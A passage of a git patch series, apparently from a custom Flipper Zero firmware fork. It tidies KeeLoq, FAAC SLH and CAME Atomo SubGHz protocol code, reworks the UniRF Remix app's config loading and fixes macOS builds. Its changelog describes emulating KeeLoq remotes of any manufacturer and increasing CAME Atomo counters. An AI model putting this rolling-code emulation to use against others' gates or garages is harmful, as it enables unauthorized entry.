FURI_LOG_I(TAG, "decoder seed = %8X", instance->generic.seed); + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3]; subghz_protocol_faac_slh_check_remote_controller( &instance->generic, instance->keystore, &instance->manufacture_name); @@ -474,8 +470,7 @@ bool subghz_protocol_decoder_faac_slh_deserialize(void* context, FlipperFormat* FURI_LOG_E(TAG, "Missing Seed"); break; } - instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; - FURI_LOG_I(TAG, "decoder seed = %8X", instance->generic.seed); + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3]; res = true; } while(false); diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 308c48720..680b9ef68 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -309,8 +309,7 @@ bool subghz_protocol_encoder_keeloq_deserialize(void* context, FlipperFormat* fl if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { FURI_LOG_E(TAG, "Missing Seed"); } - instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; - FURI_LOG_I(TAG, "encoder seed = %8X", instance->generic.seed); + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3]; subghz_protocol_keeloq_check_remote_controller( &instance->generic, instance->keystore, &instance->manufacture_name); @@ -858,8 +857,7 @@ bool subghz_protocol_decoder_keeloq_deserialize(void* context, FlipperFormat* fl if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) { FURI_LOG_E(TAG, "Missing Seed"); } - instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3] ; - FURI_LOG_I(TAG, "decoder seed = %8X", instance->generic.seed); + instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 | seed_data[3]; res = true; } while(false); From c0fbe42ba3863d3b73849ccaf9ef5d6bd7466f2b Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Mon, 13 Jun 2022 00:27:15 +0300 Subject: [PATCH 307/461] Update came_atomo.c remove incorrect "dma impulse takedown" --- lib/subghz/protocols/came_atomo.c | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 7ddbb1592..48d6ca11f 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -165,8 +165,6 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC hi = instance->generic.data >> 32; lo = instance->generic.data & 0xFFFFFFFF; - instance->encoder.upload[index++] = level_duration_make(true, 1); - for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { if(!manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result)) { instance->encoder.upload[index++] = subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); From f08630849b62bc44dc7132244901e302ce9a8e0d Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Mon, 13 Jun 2022 23:40:23 +0300 Subject: [PATCH 308/461] update unirf remix app & keep custom icons --- applications/unirfremix/unirfremix_app.c | 523 +++++++++++++++-------- 1 file changed, 355 insertions(+), 168 deletions(-) diff --git a/applications/unirfremix/unirfremix_app.c b/applications/unirfremix/unirfremix_app.c index ff0a95602..37b069b8e 100644 --- a/applications/unirfremix/unirfremix_app.c +++ b/applications/unirfremix/unirfremix_app.c @@ -148,14 +148,15 @@ static char* extract_filename(const char* name, int len) { */ void unirfremix_cfg_set_check(UniRFRemix* app) { + //set file name to universal_rf_map.txt first string_t file_name; string_init(file_name); - string_set(file_name, "/any/subghz/assets/universal_rf_map"); + string_set(file_name, "/any/subghz/assets/universal_rf_map.txt"); Storage* storage = furi_record_open("storage"); FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - app->file_result = 0; + app->file_result = 3; app->file_blank = 0; app->up_enabled = 1; @@ -165,20 +166,19 @@ void unirfremix_cfg_set_check(UniRFRemix* app) { app->ok_enabled = 1; int label_len = 12; + int legacy = 0; //check that map file exists if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) { FURI_LOG_I(TAG, "Could not open MAP file %s", string_get_cstr(file_name)); - app->file_result = 1; - } - else - { - //Filename Assignment/Check Start + legacy = 1; + } else { + legacy = 0; + //Filename Assignment/Check Start //assign variables to values within map file //set missing filenames to N/A - if(!flipper_format_read_string(fff_data_file, "UP", app->up_file)) - { + if(!flipper_format_read_string(fff_data_file, "UP", app->up_file)) { FURI_LOG_I(TAG, "Could not read UP string"); //increment file_blank for processing later @@ -191,19 +191,16 @@ void unirfremix_cfg_set_check(UniRFRemix* app) { app->up_enabled = 0; FURI_LOG_I(TAG, "Up_Enabled: %d", app->up_enabled); - } - else - { - //check name length for proper screen fit - //then set filename as label. Might be replaced with defined label later on below. - app->up_label = extract_filename(string_get_cstr(app->up_file), label_len); + } else { + //check name length for proper screen fit + //then set filename as label. Might be replaced with defined label later on below. + app->up_label = extract_filename(string_get_cstr(app->up_file), label_len); - FURI_LOG_I(TAG, "UP file: %s", string_get_cstr(app->up_file)); - } + FURI_LOG_I(TAG, "UP file: %s", string_get_cstr(app->up_file)); + } //Repeat process for Down - if(!flipper_format_read_string(fff_data_file, "DOWN", app->down_file)) - { + if(!flipper_format_read_string(fff_data_file, "DOWN", app->down_file)) { FURI_LOG_I(TAG, "Could not read DOWN string"); app->file_blank++; @@ -211,17 +208,14 @@ void unirfremix_cfg_set_check(UniRFRemix* app) { app->down_enabled = 0; FURI_LOG_I(TAG, "Down_Enabled: %d", app->down_enabled); - } - else - { + } else { app->down_label = extract_filename(string_get_cstr(app->down_file), label_len); FURI_LOG_I(TAG, "DOWN file: %s", string_get_cstr(app->down_file)); } //Repeat process for Left - if(!flipper_format_read_string(fff_data_file, "LEFT", app->left_file)) - { + if(!flipper_format_read_string(fff_data_file, "LEFT", app->left_file)) { FURI_LOG_I(TAG, "Could not read LEFT string"); app->file_blank++; @@ -229,17 +223,14 @@ void unirfremix_cfg_set_check(UniRFRemix* app) { app->left_enabled = 0; FURI_LOG_I(TAG, "Left_Enabled: %d", app->left_enabled); - } - else - { + } else { app->left_label = extract_filename(string_get_cstr(app->left_file), label_len); FURI_LOG_I(TAG, "LEFT file: %s", string_get_cstr(app->left_file)); } //Repeat process for Right - if(!flipper_format_read_string(fff_data_file, "RIGHT", app->right_file)) - { + if(!flipper_format_read_string(fff_data_file, "RIGHT", app->right_file)) { FURI_LOG_I(TAG, "Could not read RIGHT string"); app->file_blank++; @@ -247,17 +238,14 @@ void unirfremix_cfg_set_check(UniRFRemix* app) { app->right_enabled = 0; FURI_LOG_I(TAG, "Right_Enabled: %d", app->right_enabled); - } - else - { + } else { app->right_label = extract_filename(string_get_cstr(app->right_file), label_len); FURI_LOG_I(TAG, "RIGHT file: %s", string_get_cstr(app->right_file)); } //Repeat process for Ok - if(!flipper_format_read_string(fff_data_file, "OK", app->ok_file)) - { + if(!flipper_format_read_string(fff_data_file, "OK", app->ok_file)) { FURI_LOG_I(TAG, "Could not read OK string"); app->file_blank++; @@ -265,16 +253,11 @@ void unirfremix_cfg_set_check(UniRFRemix* app) { app->ok_enabled = 0; FURI_LOG_I(TAG, "Ok_Enabled: %d", app->ok_enabled); - } - else - { + } else { app->ok_label = extract_filename(string_get_cstr(app->ok_file), label_len); FURI_LOG_I(TAG, "OK file: %s", string_get_cstr(app->ok_file)); } - - //File definitions are done. - //File checks will follow after label assignment in order to close the universal_rf_map file without the need to reopen it again. //File definitions are done. //File checks will follow after label assignment in order to close the universal_rf_map file without the need to reopen it again. @@ -364,137 +347,317 @@ void unirfremix_cfg_set_check(UniRFRemix* app) { FURI_LOG_I(TAG, "OK label: %s", app->ok_label); } + + app->file_result = 4; } - //Close universal_rf_map flipper_format_free(fff_data_file); furi_record_close("storage"); - - //File Existence Check - //Check each file definition if not already set to "N/A" - - //determine if files exist. - //determine whether or not to continue to launch app with missing variables - //if 5 files are missing, throw error - if(app->file_blank == 5) - { - //trigger invalid file error screen - app->file_result = 2; - } - else - { - //check all files - //reset app->file_blank to redetermine if error needs to be thrown - app->file_blank = 0; - - //if button is still enabled, check that file exists - if(app->up_enabled == 1) - { - string_set(file_name, app->up_file); - Storage* storage = furi_record_open("storage"); - FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - - if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) - { - FURI_LOG_I(TAG, "Could not open UP file %s", string_get_cstr(file_name)); - - //disable button, and set label to "N/A" - app->up_enabled = 0; - app->up_label = "N/A"; - app->file_blank++; - } - - //close the file - flipper_format_free(fff_data_file); - furi_record_close("storage"); - } - - if(app->down_enabled == 1) - { - string_set(file_name, app->down_file); - Storage* storage = furi_record_open("storage"); - FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - - if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) - { - FURI_LOG_I(TAG, "Could not open DOWN file %s", string_get_cstr(file_name)); - - app->down_enabled = 0; - app->down_label = "N/A"; - app->file_blank++; - } - - flipper_format_free(fff_data_file); - furi_record_close("storage"); - } - - if(app->left_enabled == 1) - { - string_set(file_name, app->left_file); - Storage* storage = furi_record_open("storage"); - FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - - if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) - { - FURI_LOG_I(TAG, "Could not open LEFT file %s", string_get_cstr(file_name)); - - app->left_enabled = 0; - app->left_label = "N/A"; - app->file_blank++; - } - - flipper_format_free(fff_data_file); - furi_record_close("storage"); - } - - if(app->right_enabled == 1) - { - string_set(file_name, app->right_file); - Storage* storage = furi_record_open("storage"); - FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - - if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) - { - FURI_LOG_I(TAG, "Could not open RIGHT file %s", string_get_cstr(file_name)); - - app->right_enabled = 0; - app->right_label = "N/A"; - app->file_blank++; - } - - flipper_format_free(fff_data_file); - furi_record_close("storage"); - } - - if(app->ok_enabled == 1) - { - string_set(file_name, app->ok_file); - Storage* storage = furi_record_open("storage"); - FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - - if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) - { - FURI_LOG_I(TAG, "Could not open OK file %s", string_get_cstr(file_name)); - - app->ok_enabled = 0; - app->ok_label = "N/A"; - app->file_blank++; - } - - flipper_format_free(fff_data_file); - furi_record_close("storage"); - } - - if(app->file_blank == 5) - { - app->file_result = 2; - } - else - { - app->file_result = 0; - } - } + if(legacy == 1) { + //check if legacy map exists (universal_rf_map) + string_set(file_name, "/any/subghz/assets/universal_rf_map"); + + storage = furi_record_open("storage"); + fff_data_file = flipper_format_file_alloc(storage); + + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) { + FURI_LOG_I(TAG, "Could not open legacy MAP file %s", string_get_cstr(file_name)); + app->file_result = 1; + } else { + //Filename Assignment/Check Start + + //assign variables to values within map file + //set missing filenames to N/A + if(!flipper_format_read_string(fff_data_file, "UP", app->up_file)) { + FURI_LOG_I(TAG, "Could not read UP string"); + + //increment file_blank for processing later + app->file_blank++; + + //set label to "N/A" + app->up_label = "N/A"; + + //disable the ability to process the signal on button press + app->up_enabled = 0; + + FURI_LOG_I(TAG, "Up_Enabled: %d", app->up_enabled); + } else { + //check name length for proper screen fit + //then set filename as label. Might be replaced with defined label later on below. + app->up_label = extract_filename(string_get_cstr(app->up_file), label_len); + + FURI_LOG_I(TAG, "UP file: %s", string_get_cstr(app->up_file)); + } + + //Repeat process for Down + if(!flipper_format_read_string(fff_data_file, "DOWN", app->down_file)) { + FURI_LOG_I(TAG, "Could not read DOWN string"); + + app->file_blank++; + app->down_label = "N/A"; + app->down_enabled = 0; + + FURI_LOG_I(TAG, "Down_Enabled: %d", app->down_enabled); + } else { + app->down_label = extract_filename(string_get_cstr(app->down_file), label_len); + + FURI_LOG_I(TAG, "DOWN file: %s", string_get_cstr(app->down_file)); + } + + //Repeat process for Left + if(!flipper_format_read_string(fff_data_file, "LEFT", app->left_file)) { + FURI_LOG_I(TAG, "Could not read LEFT string"); + + app->file_blank++; + app->left_label = "N/A"; + app->left_enabled = 0; + + FURI_LOG_I(TAG, "Left_Enabled: %d", app->left_enabled); + } else { + app->left_label = extract_filename(string_get_cstr(app->left_file), label_len); + + FURI_LOG_I(TAG, "LEFT file: %s", string_get_cstr(app->left_file)); + } + + //Repeat process for Right + if(!flipper_format_read_string(fff_data_file, "RIGHT", app->right_file)) { + FURI_LOG_I(TAG, "Could not read RIGHT string"); + + app->file_blank++; + app->right_label = "N/A"; + app->right_enabled = 0; + + FURI_LOG_I(TAG, "Right_Enabled: %d", app->right_enabled); + } else { + app->right_label = extract_filename(string_get_cstr(app->right_file), label_len); + + FURI_LOG_I(TAG, "RIGHT file: %s", string_get_cstr(app->right_file)); + } + + //Repeat process for Ok + if(!flipper_format_read_string(fff_data_file, "OK", app->ok_file)) { + FURI_LOG_I(TAG, "Could not read OK string"); + + app->file_blank++; + app->ok_label = "N/A"; + app->ok_enabled = 0; + + FURI_LOG_I(TAG, "Ok_Enabled: %d", app->ok_enabled); + } else { + app->ok_label = extract_filename(string_get_cstr(app->ok_file), label_len); + + FURI_LOG_I(TAG, "OK file: %s", string_get_cstr(app->ok_file)); + } + + //File definitions are done. + //File checks will follow after label assignment in order to close the universal_rf_map file without the need to reopen it again. + + //Label Assignment/Check Start + + //assign variables to values within map file + if(!flipper_format_read_string(fff_data_file, "ULABEL", app->up_l)) { + FURI_LOG_I(TAG, "Could not read ULABEL string"); + + //if Up button is disabled, set the label to "N/A"; + if(app->up_enabled == 0) { + app->up_label = "N/A"; + } + } else { + //check if button is disabled, and set label to "N/A" from missing map definition above + if(app->up_enabled == 0) { + app->up_label = "N/A"; + } else { + //set label from map to variable and shrink to fit screen + app->up_label = char_to_str((char*)string_get_cstr(app->up_l), label_len); + } + + FURI_LOG_I(TAG, "UP label: %s", app->up_label); + } + + if(!flipper_format_read_string(fff_data_file, "DLABEL", app->down_l)) { + FURI_LOG_I(TAG, "Could not read DLABEL string"); + + if(app->down_enabled == 0) { + app->down_label = "N/A"; + } + } else { + if(app->down_enabled == 0) { + app->down_label = "N/A"; + } else { + app->down_label = char_to_str((char*)string_get_cstr(app->down_l), label_len); + } + + FURI_LOG_I(TAG, "DOWN label: %s", app->down_label); + } + + if(!flipper_format_read_string(fff_data_file, "LLABEL", app->left_l)) { + FURI_LOG_I(TAG, "Could not read LLABEL string"); + + if(app->left_enabled == 0) { + app->left_label = "N/A"; + } + } else { + if(app->left_enabled == 0) { + app->left_label = "N/A"; + } else { + app->left_label = char_to_str((char*)string_get_cstr(app->left_l), label_len); + } + + FURI_LOG_I(TAG, "LEFT label: %s", app->left_label); + } + + if(!flipper_format_read_string(fff_data_file, "RLABEL", app->right_l)) { + FURI_LOG_I(TAG, "Could not read RLABEL string"); + + if(app->right_enabled == 0) { + app->right_label = "N/A"; + } + } else { + if(app->right_enabled == 0) { + app->right_label = "N/A"; + } else { + app->right_label = + char_to_str((char*)string_get_cstr(app->right_l), label_len); + } + + FURI_LOG_I(TAG, "RIGHT label: %s", app->right_label); + } + + if(!flipper_format_read_string(fff_data_file, "OKLABEL", app->ok_l)) { + FURI_LOG_I(TAG, "Could not read OKLABEL string"); + + if(app->ok_enabled == 0) { + app->ok_label = "N/A"; + } + } else { + if(app->ok_enabled == 0) { + app->ok_label = "N/A"; + } else { + app->ok_label = char_to_str((char*)string_get_cstr(app->ok_l), label_len); + } + + FURI_LOG_I(TAG, "OK label: %s", app->ok_label); + } + + app->file_result = 4; + } + + flipper_format_free(fff_data_file); + furi_record_close("storage"); + } + + //File Existence Check + //Check each file definition if not already set to "N/A" + + //determine if files exist. + //determine whether or not to continue to launch app with missing variables + //if 5 files are missing, throw error + + FURI_LOG_I(TAG, "app->file_blank: %d", app->file_blank); + + if(app->file_blank == 5) { + //trigger invalid file error screen + app->file_result = 2; + } else { + //check all files + //reset app->file_blank to redetermine if error needs to be thrown + app->file_blank = 0; + + //if button is still enabled, check that file exists + if(app->up_enabled == 1) { + string_set(file_name, app->up_file); + storage = furi_record_open("storage"); + fff_data_file = flipper_format_file_alloc(storage); + + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) { + FURI_LOG_I(TAG, "Could not open UP file %s", string_get_cstr(file_name)); + + //disable button, and set label to "N/A" + app->up_enabled = 0; + app->up_label = "N/A"; + app->file_blank++; + } + + //close the file + flipper_format_free(fff_data_file); + furi_record_close("storage"); + } + + if(app->down_enabled == 1) { + string_set(file_name, app->down_file); + storage = furi_record_open("storage"); + fff_data_file = flipper_format_file_alloc(storage); + + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) { + FURI_LOG_I(TAG, "Could not open DOWN file %s", string_get_cstr(file_name)); + + app->down_enabled = 0; + app->down_label = "N/A"; + app->file_blank++; + } + + flipper_format_free(fff_data_file); + furi_record_close("storage"); + } + + if(app->left_enabled == 1) { + string_set(file_name, app->left_file); + storage = furi_record_open("storage"); + fff_data_file = flipper_format_file_alloc(storage); + + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) { + FURI_LOG_I(TAG, "Could not open LEFT file %s", string_get_cstr(file_name)); + + app->left_enabled = 0; + app->left_label = "N/A"; + app->file_blank++; + } + + flipper_format_free(fff_data_file); + furi_record_close("storage"); + } + + if(app->right_enabled == 1) { + string_set(file_name, app->right_file); + storage = furi_record_open("storage"); + fff_data_file = flipper_format_file_alloc(storage); + + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) { + FURI_LOG_I(TAG, "Could not open RIGHT file %s", string_get_cstr(file_name)); + + app->right_enabled = 0; + app->right_label = "N/A"; + app->file_blank++; + } + + flipper_format_free(fff_data_file); + furi_record_close("storage"); + } + + if(app->ok_enabled == 1) { + string_set(file_name, app->ok_file); + storage = furi_record_open("storage"); + fff_data_file = flipper_format_file_alloc(storage); + + if(!flipper_format_file_open_existing(fff_data_file, string_get_cstr(file_name))) { + FURI_LOG_I(TAG, "Could not open OK file %s", string_get_cstr(file_name)); + + app->ok_enabled = 0; + app->ok_label = "N/A"; + app->file_blank++; + } + + flipper_format_free(fff_data_file); + furi_record_close("storage"); + } + + if(app->file_blank == 5) { + app->file_result = 2; + } else { + app->file_result = 4; + } + } } static void unirfremix_end_send(UniRFRemix* app) { @@ -599,6 +762,8 @@ static void unirfremix_process_signal(UniRFRemix* app, string_t signal) { FURI_LOG_I(TAG, "%lu", frequency_str); + string_clear(file_name); + unirfremix_send_signal(app, frequency_str, signal, protocol); } else if(strlen(string_get_cstr(signal)) < 10) { unirfremix_end_send(app); @@ -628,6 +793,13 @@ static void render_callback(Canvas* canvas, void* ctx) { canvas_draw_str_aligned(canvas, 62, 25, AlignCenter, AlignTop, "Please configure"); canvas_draw_str_aligned(canvas, 62, 35, AlignCenter, AlignTop, "universal_rf_map"); canvas_draw_str_aligned(canvas, 62, 60, AlignCenter, AlignBottom, "Hold Back to Exit."); + } else if(app->file_result == 3) { + //if map has no valid filenames defined + canvas_clear(canvas); + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 62, 5, AlignCenter, AlignTop, "Config is loading."); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 62, 35, AlignCenter, AlignTop, "Please wait."); } else { //map found, draw all the things canvas_clear(canvas); @@ -713,6 +885,19 @@ UniRFRemix* unirfremix_alloc() { } void unirfremix_free(UniRFRemix* app) { + string_clear(app->up_file); + string_clear(app->down_file); + string_clear(app->left_file); + string_clear(app->right_file); + string_clear(app->ok_file); + string_clear(app->empty); + + string_clear(app->up_l); + string_clear(app->down_l); + string_clear(app->left_l); + string_clear(app->right_l); + string_clear(app->ok_l); + gui_remove_view_port(app->gui, app->view_port); furi_record_close("gui"); view_port_free(app->view_port); @@ -742,12 +927,14 @@ int32_t unirfremix_app(void* p) { string_init(app->right_l); string_init(app->ok_l); + app->file_result = 3; + //check map and population variables unirfremix_cfg_set_check(app); bool exit_loop = false; - if(app->file_result == 0) { + if(app->file_result == 4) { FURI_LOG_I( TAG, "U: %s - D: %s - L: %s - R: %s - O: %s ", @@ -867,7 +1054,7 @@ int32_t unirfremix_app(void* p) { } else if(app->processing == 1) { FURI_LOG_I(TAG, "processing 1"); - app->send_status = "Sending"; + app->send_status = "Send"; switch(app->button) { case 1: From 056e5f2c47b0b89eb367066aae4ab179fc7e92f4 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Tue, 14 Jun 2022 02:45:06 +0300 Subject: [PATCH 309/461] fix macOS builds & update changelog --- Brewfile | 3 +- CHANGELOG.md | 8 ++-- CONTRIBUTING.md | 72 ----------------------------------- ReadMe.md | 27 +++++++++++++ RoadMap.md | 51 ------------------------- brew-cask/gcc-arm-embedded.rb | 56 +++++++++++++++++++++++++++ 6 files changed, 90 insertions(+), 127 deletions(-) delete mode 100644 CONTRIBUTING.md delete mode 100644 RoadMap.md create mode 100644 brew-cask/gcc-arm-embedded.rb diff --git a/Brewfile b/Brewfile index 963a687c5..5dc763034 100644 --- a/Brewfile +++ b/Brewfile @@ -1,4 +1,4 @@ -cask "gcc-arm-embedded" +cask "brew-cask/gcc-arm-embedded.rb" brew "protobuf" brew "gdb" brew "heatshrink" @@ -6,3 +6,4 @@ brew "open-ocd" brew "clang-format" brew "dfu-util" brew "imagemagick" +brew "protobuf-c" diff --git a/CHANGELOG.md b/CHANGELOG.md index c0424e210..112931fee 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,11 +1,13 @@ ### New Update +* Updated UniRF Remix app +* Fixed macOS Brewfile, so compiling on macOS now works +#### Previous changes * KeeLoq protocol rework. * Came Atomo emulation beta-test. * Fix critical issue with keeloq manufacturer name random change: -* now you can emulate any manufacturer system with proper key handling. + now you can emulate any manufacturer system with proper key handling. * Came Atomo parcel counter increasing and emulation. Beta test: -* (need rework signal header and make button counter cycle array for encoder). -#### Previous changes + (need rework signal header and make button counter cycle array for encoder). * Added Spectrum analyzer. * CAME Atomo - Save & Send - beta test, proper work is not guaranteed. * Removed similar frequencies. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md deleted file mode 100644 index 00a0191e5..000000000 --- a/CONTRIBUTING.md +++ /dev/null @@ -1,72 +0,0 @@ -# Welcome to FlipperZero contributing guide - -Thank you for investing your time in contributing to our project! - -Read our [Code of Coduct](CODE_OF_CONDUCT.md) to keep our community approachable and respectable. - -In this guide you will get an overview of the contribution workflow from opening an issue, creating a PR, reviewing, and merging the PR. - -## New contributor guide - -See the [ReadMe](ReadMe.md) to get an overview of the project. Here are some helpful resources to get you comfortable with open source contribution: - -- [Finding ways to contribute to open source on GitHub](https://docs.github.com/en/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github) -- [Set up Git](https://docs.github.com/en/get-started/quickstart/set-up-git) -- [GitHub flow](https://docs.github.com/en/get-started/quickstart/github-flow) -- [Collaborating with pull requests](https://docs.github.com/en/github/collaborating-with-pull-requests) - -## Getting started - -Before writing code and creating PR make sure that it aligns with our mission and guidlines: - -- All our devices are intended for research and education. -- PR that contains code intended to commit crimes is not going to be accepted. -- Your PR must comply with our [Coding Style](CODING_STYLE.md) -- Your PR must contain code compatiable with project [LICENSE](LICENSE). -- PR will only be merged if it pass CI/CD. -- PR will only be merged if it pass review by code owner. - -Feel free to ask questions in issues if you're not sure. - -### Issues - -#### Create a new issue - -If you found a problem, [search if an issue already exists](https://docs.github.com/en/github/searching-for-information-on-github/searching-on-github/searching-issues-and-pull-requests#search-by-the-title-body-or-comments). If a related issue doesn't exist, you can open a new issue using a relevant [issue form](https://github.com/flipperdevices/flipperzero-firmware/issues/new/choose). - -#### Solve an issue - -Scan through our [existing issues](https://github.com/flipperdevices/flipperzero-firmware/issues) to find one that interests you. - -### Make Changes - -1. Fork the repository. -- Using GitHub Desktop: - - [Getting started with GitHub Desktop](https://docs.github.com/en/desktop/installing-and-configuring-github-desktop/getting-started-with-github-desktop) will guide you through setting up Desktop. - - Once Desktop is set up, you can use it to [fork the repo](https://docs.github.com/en/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)! - -- Using the command line: - - [Fork the repo](https://docs.github.com/en/github/getting-started-with-github/fork-a-repo#fork-an-example-repository) so that you can make your changes without affecting the original project until you're ready to merge them. - -2. Install build requirements - -3. Create a working branch and start with your changes! - -### Commit your update - -Commit the changes once you are happy with them. Make sure that code compilation is not broken and passes tests. Check syntax and formatting. - -### Pull Request - -When you're done making the changes, open a pull request, often referred to as a PR. -- Fill out the "Ready for review" template so we can review your PR. This template helps reviewers understand your changes and the purpose of your pull request. -- Don't forget to [link PR to issue](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) if you are solving one. -- Enable the checkbox to [allow maintainer edits](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/allowing-changes-to-a-pull-request-branch-created-from-a-fork) so the branch can be updated for a merge. -Once you submit your PR, a Docs team member will review your proposal. We may ask questions or request for additional information. -- We may ask for changes to be made before a PR can be merged, either using [suggested changes](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/incorporating-feedback-in-your-pull-request) or pull request comments. You can apply suggested changes directly through the UI. You can make any other changes in your fork, then commit them to your branch. -- As you update your PR and apply changes, mark each conversation as [resolved](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#resolving-conversations). -- If you run into any merge issues, checkout this [git tutorial](https://lab.github.com/githubtraining/managing-merge-conflicts) to help you resolve merge conflicts and other issues. - -### Your PR is merged! - -Congratulations :tada::tada: The FlipperDevices team thanks you :sparkles:. diff --git a/ReadMe.md b/ReadMe.md index 151a2f381..7e4953982 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -143,6 +143,33 @@ Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. If compilation fails, make sure all submodules are all initialized. Either clone with `--recursive` or use `git submodule update --init --recursive`. +# Build on macOS + +## macOS Prerequisites + +Make sure you have [brew](https://brew.sh) and install all the dependencies: +```sh +brew bundle --verbose +``` + +**P.S. Brewfile has been fixed, so build works now** + +### Compile everything for development + +```sh +make +``` + +### Compile everything for release + get updater package to update from microSD card + +```sh +make updater_package TARGET=f7 DEBUG=0 COMPACT=1 +``` + +Check `dist/` for build outputs. + +Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. + # Apps included - [Clock/Stopwatch (By CompaqDisc, Stopwatch & Sound Alert By RogueMaster)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/unleashed/applications/clock_app/clock_app.c) diff --git a/RoadMap.md b/RoadMap.md deleted file mode 100644 index 32ed860f2..000000000 --- a/RoadMap.md +++ /dev/null @@ -1,51 +0,0 @@ -# RoadMap - -# Where we are (0.x.x branch) - -Our goal for 0.x.x branch is to build stable usable apps and API. -First public release that we support in this branch is 0.43.1. Your device most likely came with this version. -You can develop applications but keep in mind that API is not final yet. - -## What's already implemented - -**Applications** - -- SubGhz: all most common protocols, reading RAW for everything else -- 125kHz RFID: all most common protocols -- NFC: reading/emulating Mifare Ultralight, reading MiFare Classic and DESFire, basic EMV, basic NFC-B,F,V -- Infrared: all most common RC protocols, RAW format for everything else -- GPIO: UART bridge, basic GPIO controls -- iButton: DS1990, Cyfral, Metacom -- Bad USB: Full USB Rubber Ducky support, some extras for windows alt codes -- U2F: Full U2F specification support - -**Extras** - -- BLE Keyboard -- Snake game - -**System and HAL** - -- Furi Core -- Furi HAL - -# Where we're going (Version 1) - -Main goal for 1.0.0 is to provide first stable version for both Users and Developers. - -## What we're planning to implement in 1.0.0 - -- Loading applications from SD (tested as PoC, work scheduled for Q2) -- More protocols (gathering feedback) -- User documentation (work in progress) -- FuriCore: get rid of CMSIS API, replace hard real time timers, improve stability and performance (work in progress) -- FuriHal: deep sleep mode, stable API, examples, documentation (work in progress) -- Application improvements (a ton of things that we want to add and improve that are too numerous to list here) - -## When will it happen and where I can see the progress? - -Release 1.0.0 will most likely happen around the end of Q3 - -Development progress can be tracked in our public Miro board: - -https://miro.com/app/board/uXjVO_3D6xU=/?moveToWidget=3458764522498020058&cot=14 diff --git a/brew-cask/gcc-arm-embedded.rb b/brew-cask/gcc-arm-embedded.rb new file mode 100644 index 000000000..1f9228991 --- /dev/null +++ b/brew-cask/gcc-arm-embedded.rb @@ -0,0 +1,56 @@ +cask "gcc-arm-embedded" do + # Exists as a cask because it is impractical as a formula: + # https://github.com/Homebrew/homebrew-core/pull/45780#issuecomment-569246452 + version "10.3-2021.07,10.14.6" + sha256 "cae8b168ad16556ca204c0b441f9fb2c05be85362fe10e3b210be6b7177ef2d7" + + url "https://developer.arm.com/-/media/Files/downloads/gnu-rm/#{version.before_comma}/gcc-arm-none-eabi-#{version.before_comma}-mac-#{version.after_comma}-sha1.pkg" + name "GCC ARM Embedded" + desc "Pre-built GNU bare-metal toolchain for 32-bit Arm processors" + homepage "https://developer.arm.com/tools-and-software/open-source-software/developer-tools/gnu-toolchain/gnu-rm" + + livecheck do + url "https://developer.arm.com/tools-and-software/open-source-software/developer-tools/gnu-toolchain/gnu-rm/downloads" + strategy :page_match do |page| + match = page.match(/href=.*?gcc-arm-none-eabi-(\d+\.\d+-\d+\.\d+)-mac-(\d+\.\d+\.\d+)-sha1.pkg/i) + 